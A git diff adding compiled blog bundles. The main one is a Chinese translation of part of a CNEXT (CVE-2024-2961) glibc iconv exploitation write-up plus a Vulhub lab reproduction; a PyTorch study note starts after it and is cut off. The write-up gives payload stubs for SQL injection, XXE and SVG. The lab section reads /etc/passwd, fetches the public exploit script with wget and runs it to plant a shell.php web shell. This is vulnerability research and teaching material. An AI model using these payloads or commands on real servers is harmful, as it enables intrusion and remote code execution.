\u5b9e\u4f8b\u4e3a\u76ee\u6807\u3002\u4e3a\u4e86\u5f15\u5165\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff0c\u6211\u6dfb\u52a0\u4e86 BuddyForms \u63d2\u4ef6 \uff08v2.7.7\uff09\uff0c\u8be5\u63d2\u4ef6\u5b58\u5728",(0,s.jsx)(n.a,{href:"https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8",children:"CVE-2023-26326"}),"\u7684\u7f3a\u9677\u3002\u8be5\u9519\u8bef\u6700\u521d\u88ab\u62a5\u544a\u4e3a PHAR \u53cd\u5e8f\u5217\u5316\u9519\u8bef\uff0c\u4f46 Wordpress \u6ca1\u6709\u4efb\u4f55\u53cd\u5e8f\u5217\u5316\u5c0f\u5de5\u5177\u94fe\u3002\u5728\u4efb\u4f55\u60c5\u51b5\u4e0b\uff0c\u76ee\u6807\u90fd\u8fd0\u884c\u5728 PHP 8+ \u4e0a\uff0c\u56e0\u6b64\u5b83\u4e0d\u5bb9\u6613\u53d7\u5230 PHAR \u653b\u51fb\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.em,{children:["\u6ce8\u610f\uff1a\u5982\u679c\u60a8\u9605\u8bfb",(0,s.jsx)(n.a,{href:"(https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8)",children:"\u539f\u59cb\u67e5\u627e\u5668"}),"\u7684\u516c\u544a\uff0c\u60a8\u53ef\u80fd\u4f1a\u770b\u5230\uff0c\u5728\u6587\u4ef6\u8bfb\u53d6\u57fa\u5143\u4e4b\u524d\uff0c\u4f1a\u6267\u884c\u8c03\u7528 ",(0,s.jsx)(n.code,{children:"getimagesize()"})," \u4ee5\u68c0\u67e5\u6587\u4ef6\u662f\u5426\u4e3a\u56fe\u50cf\u3002\u56e0\u6b64\uff0c\u4e3a\u4e86\u5141\u8bb8\u6f0f\u6d1e\u548c libc \u8bfb\u53d6 ",(0,s.jsx)(n.code,{children:"/proc/self/maps"})," \uff0c\u6211\u4f7f\u7528",(0,s.jsx)(n.a,{href:"https://www.ambionics.io/blog/wrapwrap-php-filters-suffix",children:"wrapwrap"})," \u4f7f\u5b83\u4eec\u770b\u8d77\u6765\u50cf GIF \u56fe\u50cf\u3002"]})}),"\n",(0,s.jsx)(n.h2,{id:"\u51b2\u51fb",children:"\u51b2\u51fb"}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9PHP\u751f\u6001\u6709\u4ec0\u4e48\u5f71\u54cd\uff1f\u8fd9\u4e0d\u662f\u4e00\u4e2a\u65b0\u7684\u6f0f\u6d1e\uff0c\u800c\u662f\u6f0f\u6d1e\u7684\u65b0\u5229\u7528\u5411\u91cf\u3002\u4f46\u662f\uff0c\u6709\u591a\u79cd\u65b9\u6cd5\u53ef\u4ee5\u4f7f PHP \u8bfb\u53d6\u6587\u4ef6;\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\u5728 Web \u5e94\u7528\u7a0b\u5e8f\u4e2d\u975e\u5e38\u6d41\u884c\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u6807\u51c6\u6c34\u69fd",children:"\u6807\u51c6\u6c34\u69fd"}),"\n",(0,s.jsxs)(n.p,{children:["\u663e\u7136\uff0cPHP \u7684\u6bcf\u4e2a\u6807\u51c6\u6587\u4ef6\u8bfb\u53d6\u63a5\u6536\u5668\u90fd\u4f1a\u53d7\u5230\u5f71\u54cd\uff1a ",(0,s.jsx)(n.code,{children:"file_get_contents()"})," \u3001\u3001 ",(0,s.jsx)(n.code,{children:"file()"})," \u3001 ",(0,s.jsx)(n.code,{children:"readfile()"})," ",(0,s.jsx)(n.code,{children:"fgets()"})," \u3001 ",(0,s.jsx)(n.code,{children:"getimagesize()"})," ",(0,s.jsx)(n.code,{children:"SplFileObject->read()"})," \u7b49\u3002\u6587\u4ef6\u5199\u5165\u4e5f\u4f1a\u53d7\u5230\u5f71\u54cd\uff08 ",(0,s.jsx)(n.code,{children:"file_put_contents()"})," \u53ca\u5176\u540c\u7ea7\uff09\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u4f7f\u7528\u6f0f\u6d1e",children:"\u4f7f\u7528\u6f0f\u6d1e"}),"\n",(0,s.jsx)(n.h4,{id:"sql-injection-to-rce-sql-\u6ce8\u5165\u5230-rce",children:"SQL injection to RCE SQL \u6ce8\u5165\u5230 RCE"}),"\n",(0,s.jsxs)(n.p,{children:["\u5982\u679c\u60a8\u5728 PDO/MySQL \u4e0a\u83b7\u5f97 SQL \u6ce8\u5165\uff0c\u60a8\u4e5f\u8bb8\u53ef\u4ee5\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"LOAD DATA LOCAL INFILE"})," \uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"LOAD DATA LOCAL INFILE 'php://filter/cnext...';\n"})}),"\n",(0,s.jsx)(n.h4,{id:"xxe",children:"XXE"}),"\n",(0,s.jsx)(n.p,{children:"XXE \u73b0\u5728\u662f RCE\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'<?xml version="1.0" ?>\n<!DOCTYPE root [\n <!ENTITY exploit SYSTEM "php://filter/cnext...">\n]>\n<root>&exploit;</root>\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u4f5c\u4e3a-phar-\u7684\u66ff\u4ee3\u54c1",children:"\u4f5c\u4e3a PHAR \u7684\u66ff\u4ee3\u54c1"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0e PHAR \u653b\u51fb\u76f8\u53cd\uff0c\u4ec5\u5bf9\u6587\u4ef6\uff08\u5982 ",(0,s.jsx)(n.code,{children:"file_exists()"})," \u6216 ",(0,s.jsx)(n.code,{children:"is_file()"})," \uff09\u6267\u884c\u68c0\u67e5\u7684\u51fd\u6570\u4e0d\u53d7\u5f71\u54cd\u3002\u4f46\u662f\uff0c\u5728\u5176\u4ed6\u60c5\u51b5\u4e0b\uff0c\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u7528\u4f5c PHAR \u653b\u51fb\u7684\u66ff\u4ee3\u54c1\uff0c\u5982\u6f14\u793a\u4e2d\u6240\u793a\u3002\u7981\u7528 ",(0,s.jsx)(n.code,{children:"phar://"})," \u6216\u66f4\u65b0\u5230 PHP 8 \u4e0d\u4f1a\u62ef\u6551\u60a8\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u89e3\u6790\u5e93",children:"\u89e3\u6790\u5e93"}),"\n",(0,s.jsx)(n.p,{children:"\u6bcf\u4e2a\u4ee5\u67d0\u79cd\u65b9\u5f0f\u64cd\u7eb5 URL \u7684\u5e93\u90fd\u53ef\u80fd\u5bb9\u6613\u53d7\u5230\u653b\u51fb\u3002\u4ee5\u4e0b\u662f\u6211\u5728\u5f00\u53d1\u6f0f\u6d1e\u65f6\u53d1\u73b0\u7684\u4e00\u4e9b\u65b0\u76ee\u6807\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.a,{href:"https://packagist.org/packages/meyfa/php-svg",children:"meyfa/php-svg"}),": \u6700\u6d41\u884c\u7684 SVG \u64cd\u4f5c\u5e93"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.a,{href:"https://packagist.org/packages/symfony/translation",children:"symfony/translation"}),": XLIFF \u89e3\u6790\u5668\u6613\u53d7\u653b\u51fb"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u4f8b\u5982\uff0cPHP-SVG \u5e93\u53ef\u80fd\u4f1a\u53d7\u5230\u8fd9\u6837\u7684\u6709\u6548\u8f7d\u8377\u7684\u653b\u51fb\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'<svg width="100" height="100">\n <image href="php://filter/cnext/..." width="1" height="1" />\n</svg>\n'})}),"\n",(0,s.jsx)(n.p,{children:"HTML \u5230 PDF \u89e3\u6790\u5668\uff08\u5982 dompdf\u3001tcpdf \u7b49\uff09\u4e5f\u53ef\u80fd\u662f\u76ee\u6807\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u7c7b\u5b9e\u4f8b\u5316",children:"\u7c7b\u5b9e\u4f8b\u5316"}),"\n",(0,s.jsx)(n.p,{children:"\u6709\u65f6\uff0c\u5728\u653b\u51fbPHP\u65f6\uff0c\u4f1a\u9047\u5230\u4ee5\u4e0b\u539f\u8bed\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"new $_GET['cls']($_GET['argument']);\n"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.a,{href:"https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/",children:"This excellent blogpost from PTswarm"})," describes many ways to get a file read from this primitive, which may all be used to trigger the exploit. Examples include ",(0,s.jsx)(n.code,{children:"SoapClient"}),", ",(0,s.jsx)(n.code,{children:"Imagick"}),", ",(0,s.jsx)(n.code,{children:"tidy"}),", or ",(0,s.jsx)(n.code,{children:"SimpleXMLElement"}),".\n\u8fd9\u7bc7\u6765\u81ea ",(0,s.jsx)(n.a,{href:"https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/",children:"PTswarm"})," \u7684\u4f18\u79c0\u535a\u6587\u63cf\u8ff0\u4e86\u4ece\u8fd9\u4e2a\u539f\u8bed\u4e2d\u8bfb\u53d6\u6587\u4ef6\u7684\u591a\u79cd\u65b9\u6cd5\uff0c\u8fd9\u4e9b\u65b9\u6cd5\u90fd\u53ef\u80fd\u7528\u4e8e\u89e6\u53d1\u6f0f\u6d1e\u5229\u7528\u3002\u793a\u4f8b\u5305\u62ec ",(0,s.jsx)(n.code,{children:"SoapClient"})," \u3001 ",(0,s.jsx)(n.code,{children:"Imagick"})," \u3001 ",(0,s.jsx)(n.code,{children:"tidy"})," \u6216 ",(0,s.jsx)(n.code,{children:"SimpleXMLElement"})," \u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u4f5c\u4e3a\u5bf9\u5c0f\u5de5\u5177\u94fe\u7684\u6539\u8fdb",children:"\u4f5c\u4e3a\u5bf9\u5c0f\u5de5\u5177\u94fe\u7684\u6539\u8fdb"}),"\n",(0,s.jsxs)(n.p,{children:["\u5982\u679c\u60a8\u53d1\u73b0\u6587\u4ef6\u8bfb\u53d6 ",(0,s.jsx)(n.code,{children:"unserialize()"})," \u5c0f\u5de5\u5177\u94fe\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u8be5\u6f0f\u6d1e\u5c06\u5176\u5347\u7ea7\u5230 RCE\u3002\u968f\u7740\u6700\u8fd1\u7684\u5e94\u7528\u7a0b\u5e8f\u4ee5\u53ca PHP \u5e93\u8d8a\u6765\u8d8a\u591a\u5730\u4f7f\u7528\u7c7b\u578b\u8fd9\u4e00\u4e8b\u5b9e\uff0c\u5b83\u53ef\u80fd\u4f1a\u6d3e\u4e0a\u7528\u573a\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u5176\u4ed6\u4eba\u53ef\u80fd",children:"\u5176\u4ed6\u4eba\uff0c\u53ef\u80fd"}),"\n",(0,s.jsx)(n.p,{children:"\u53ea\u8981\u60a8\u63a7\u5236\u6587\u4ef6\u8bfb\u53d6\u6216\u6587\u4ef6\u5199\u5165\u63a5\u6536\u5668\u7684\u524d\u7f00\uff0c\u60a8\u5c31\u62e5\u6709\u4e86 RCE\uff01"}),"\n",(0,s.jsx)(n.h2,{id:"\u65f6\u95f4\u7ebf",children:"\u65f6\u95f4\u7ebf"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u53bb\u5e74 Crash \u53d1\u73b0"}),"\n",(0,s.jsx)(n.li,{children:"2\u6708 \u5f00\u59cb\u5904\u7406\u9519\u8bef"}),"\n",(0,s.jsx)(n.li,{children:"3 \u6708 26 \u65e5 Bug \u62a5\u544a\u7ed9 glibc \u5b89\u5168\u56e2\u961f"}),"\n",(0,s.jsx)(n.li,{children:"4 \u6708 4 \u65e5 Bug \u62a5\u544a\u7ed9 linux \u53d1\u884c\u7248"}),"\n",(0,s.jsx)(n.li,{children:"4 \u6708 17 \u65e5\u6f0f\u6d1e\u4f5c\u4e3a CVE-2024-2961 \u53d1\u5e03"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\uff1aglibc \u5b89\u5168\u56e2\u961f\u901f\u5ea6\u5feb\u3001\u5f6c\u5f6c\u6709\u793c\u4e14\u6280\u672f\u80fd\u529b\u5f3a\u3002\u4ed6\u4eec\u5728\u4e00\u5468\u5185\u53d1\u5e03\u4e86\u4e00\u4e2a\u8865\u4e01\uff08\u4ee5\u53ca\u968f\u4e4b\u800c\u6765\u7684\u6240\u6709\u8865\u4e01\uff09\u3002\u975e\u5e38\u611f\u8c22\uff01*"}),"\n",(0,s.jsx)(n.h2,{id:"\u7ed3\u8bba",children:"\u7ed3\u8bba"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"CNEXT (CVE-2024-2961)"})," \u7cfb\u5217\u6587\u7ae0\u7684\u7b2c\u4e00\u90e8\u5206\u5230\u6b64\u7ed3\u675f \u3002\u8be5\u6f0f\u6d1e\u73b0\u5df2\u5728\u6211\u4eec\u7684 ",(0,s.jsx)(n.a,{href:"https://github.com/ambionics/cnext-exploits/",children:"GitHub"})," \u4e0a\u63d0\u4f9b\u3002\u8fd8\u6709\u5f88\u591a\u4e1c\u897f\u9700\u8981\u63a2\u7d22\uff1a\u76f4\u63a5\u8c03\u7528\u5462 ",(0,s.jsx)(n.code,{children:"iconv()"})," \uff1f\u5982\u679c\u8bfb\u53d6\u7684\u6587\u4ef6\u662f\u76f2\u6587\u4ef6\uff0c\u4f1a\u53d1\u751f\u4ec0\u4e48\u60c5\u51b5\uff1f"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u7b2c 2 \u90e8\u5206\u4e2d\uff0c\u6211\u4eec\u5c06\u66f4\u6df1\u5165\u5730\u7814\u7a76 PHP \u5f15\u64ce\uff0c\u4ee5\u5b9a\u4f4d\u5728\u975e\u5e38\u6d41\u884c\u7684 PHP \u7f51\u7edc\u90ae\u4ef6\u4e2d\u53d1\u73b0\u7684 ",(0,s.jsx)(n.code,{children:"iconv()"})," \u8c03\u7528\u3002\u6211\u5c06\u63cf\u8ff0\u8fd9\u79cd\u76f4\u63a5\u8c03\u7528\u5bf9 PHP \u751f\u6001\u7cfb\u7edf\u7684\u5f71\u54cd\uff0c\u5e76\u5411\u60a8\u5c55\u793a\u4e00\u4e9b\u610f\u60f3\u4e0d\u5230\u7684\u63a5\u6536\u5668\u3002\u6700\u540e\uff0c\u5728\u7b2c 3 \u90e8\u5206\u4e2d\uff0c\u6211\u4eec\u5c06\u4ecb\u7ecd\u76f2\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\u5229\u7528\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u656c\u8bf7\u5173\u6ce8\uff01"}),"\n",(0,s.jsx)(n.h1,{id:"vulhub\u590d\u73b0",children:"VULHUB\u590d\u73b0"}),"\n",(0,s.jsxs)(n.p,{children:["GNU C \u662f\u4e00\u4e2a\u6807\u51c6\u7684ISO C\u4f9d\u8d56\u5e93\u3002\u5728GNU C\u4e2d\uff0c",(0,s.jsx)(n.code,{children:"iconv()"}),"\u51fd\u65702.39\u53ca\u4ee5\u524d\u5b58\u5728\u4e00\u5904\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5e94\u7528\u7a0b\u5e8f\u5d29\u6e83\u6216\u8986\u76d6\u76f8\u90bb\u53d8\u91cf\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5982\u679c\u4e00\u4e2aPHP\u5e94\u7528\u4e2d\u5b58\u5728\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528",(0,s.jsx)(n.code,{children:"iconv()"}),"\u7684\u8fd9\u4e2aCVE-2024-2961\u6f0f\u6d1e\uff0c\u5c06\u5176\u63d0\u5347\u4e3a\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u53c2\u8003\u94fe\u63a5\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.ambionics.io/blog/iconv-cve-2024-2961-p1",children:"https://www.ambionics.io/blog/iconv-cve-2024-2961-p1"})}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u73af\u5883",children:"\u6f0f\u6d1e\u73af\u5883"}),"\n",(0,s.jsx)(n.p,{children:"\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u542f\u52a8\u4e00\u4e2aPHP 8.3.4\u670d\u52a1\u5668\uff0c\u5176\u4f7f\u7528iconv 2.36\u4f5c\u4e3a\u4f9d\u8d56\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"docker compose up -d\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u670d\u52a1\u542f\u52a8\u540e\uff0c\u4f60\u53ef\u4ee5\u901a\u8fc7",(0,s.jsx)(n.code,{children:"http://your-ip:8080/index.php?file=/etc/passwd"}),"\u8fd9\u4e2a\u94fe\u63a5\u8bfb\u53d6",(0,s.jsx)(n.code,{children:"/etc/passwd"}),"\u6587\u4ef6\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u590d\u73b0",children:"\u6f0f\u6d1e\u590d\u73b0"}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u4f7f\u7528\u539f\u4f5c\u8005\u7ed9\u51fa\u7684",(0,s.jsx)(n.a,{href:"https://github.com/ambionics/cnext-exploits",children:"exploit"}),"\u524d\uff0c\u4f60\u9700\u8981\u51c6\u5907\u4e00\u4e2aLinux\u73af\u5883\u548cPython 3.10\u89e3\u91ca\u5668\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b89\u88c5\u4f9d\u8d56\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"pip install pwntools\npip install https://github.com/cfreal/ten/archive/refs/heads/main.zip\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7136\u540e\u4ece",(0,s.jsx)(n.a,{href:"https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py%E4%B8%8B%E8%BD%BDPOC%E5%B9%B6%E6%89%A7%E8%A1%8C%EF%BC%9A",children:"https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\u4e0b\u8f7dPOC\u5e76\u6267\u884c\uff1a"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\npython cnext-exploit.py http://your-ip:8080/index.php \"echo '<?=phpinfo();?>' > shell.php\"\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112571.png-.png",alt:"img"})}),"\n",(0,s.jsxs)(n.p,{children:["\u53ef\u89c1\uff0c\u6211\u4eec\u5df2\u7ecf\u6210\u529f\u5199\u5165",(0,s.jsx)(n.code,{children:"shell.php"}),"\uff1a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112572.png-.png",alt:"img"})}),"\n",(0,s.jsx)(n.h1,{id:"\u8f6c\u8f7d",children:"\u8f6c\u8f7d"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md",children:"https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.ambionics.io/blog/iconv-cve-2024-2961-p1#cve-2024-2961-a-bug-in-the-glibc",children:"https://www.ambionics.io/blog/iconv-cve-2024-2961-p1#cve-2024-2961-a-bug-in-the-glibc"})}),"\n"]})]})}function x(e={}){const{wrapper:n}={...(0,d.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(t,{...e})}):t(e)}}}]); \ No newline at end of file diff --git a/assets/js/594a85d6.95380be5.js b/assets/js/594a85d6.95380be5.js new file mode 100644 index 0000000..ad54a2d --- /dev/null +++ b/assets/js/594a85d6.95380be5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9323],{13578:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>x,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","title":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e09\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/"},"next":{"title":"3.2 \u57fa\u672c\u914d\u7f6e.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e"}}');var r=t(74848),l=t(28453);const i={},c="3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md",d={},o=[];function h(n){const e={h1:"h1",header:"header",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"31-\u601d\u8003\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206md",children:"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"31-\u601d\u8003\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206",children:"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206"}),"\n",(0,r.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e00\u9879\u673a\u5668\u5b66\u4e60/\u6df1\u5ea6\u5b66\u4e60\u4efb\u52a1\u7684\u6574\u4f53\u6d41\u7a0b"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u673a\u5668\u5b66\u4e60\u548c\u6df1\u5ea6\u5b66\u4e60\u7684\u6bcf\u4e2a\u90e8\u5206\u7684\u4f5c\u7528"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e00\u9879\u673a\u5668\u5b66\u4e60\u4efb\u52a1\u65f6\u5e38\u5e38\u6709\u4ee5\u4e0b\u7684\u51e0\u4e2a\u91cd\u8981\u6b65\u9aa4\uff0c\u9996\u5148\u662f",(0,r.jsx)(e.strong,{children:"\u6570\u636e\u7684\u9884\u5904\u7406"}),"\uff0c\u5176\u4e2d\u91cd\u8981\u7684\u6b65\u9aa4\u5305\u62ec\u6570\u636e\u683c\u5f0f\u7684\u7edf\u4e00\u3001\u5f02\u5e38\u6570\u636e\u7684\u6d88\u9664\u548c\u5fc5\u8981\u7684\u6570\u636e\u53d8\u6362\uff0c\u540c\u65f6",(0,r.jsx)(e.strong,{children:"\u5212\u5206\u8bad\u7ec3\u96c6\u3001\u9a8c\u8bc1\u96c6\u3001\u6d4b\u8bd5\u96c6"}),"\uff0c\u5e38\u89c1\u7684\u65b9\u6cd5\u5305\u62ec\uff1a\u6309\u6bd4\u4f8b\u968f\u673a\u9009\u53d6\uff0cKFold\u65b9\u6cd5\uff08\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528sklearn\u5e26\u7684test_train_split\u51fd\u6570\u3001kfold\u6765\u5b9e\u73b0\uff09\u3002\u63a5\u4e0b\u6765",(0,r.jsx)(e.strong,{children:"\u9009\u62e9\u6a21\u578b"}),"\uff0c\u5e76\u8bbe\u5b9a",(0,r.jsx)(e.strong,{children:"\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u65b9\u6cd5"}),"\uff0c\u4ee5\u53ca\u5bf9\u5e94\u7684",(0,r.jsx)(e.strong,{children:"\u8d85\u53c2\u6570"}),"\uff08\u5f53\u7136\u53ef\u4ee5\u4f7f\u7528sklearn\u8fd9\u6837\u7684\u673a\u5668\u5b66\u4e60\u5e93\u4e2d\u6a21\u578b\u81ea\u5e26\u7684\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\uff09\u3002\u6700\u540e\u7528\u6a21\u578b\u53bb\u62df\u5408\u8bad\u7ec3\u96c6\u6570\u636e\uff0c\u5e76\u5728",(0,r.jsx)(e.strong,{children:"\u9a8c\u8bc1\u96c6/\u6d4b\u8bd5\u96c6\u4e0a\u8ba1\u7b97\u6a21\u578b\u8868\u73b0"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6df1\u5ea6\u5b66\u4e60\u548c\u673a\u5668\u5b66\u4e60\u5728\u6d41\u7a0b\u4e0a\u7c7b\u4f3c\uff0c\u4f46\u5728\u4ee3\u7801\u5b9e\u73b0\u4e0a\u6709\u8f83\u5927\u7684\u5dee\u5f02\u3002\u9996\u5148\uff0c",(0,r.jsx)(e.strong,{children:"\u7531\u4e8e\u6df1\u5ea6\u5b66\u4e60\u6240\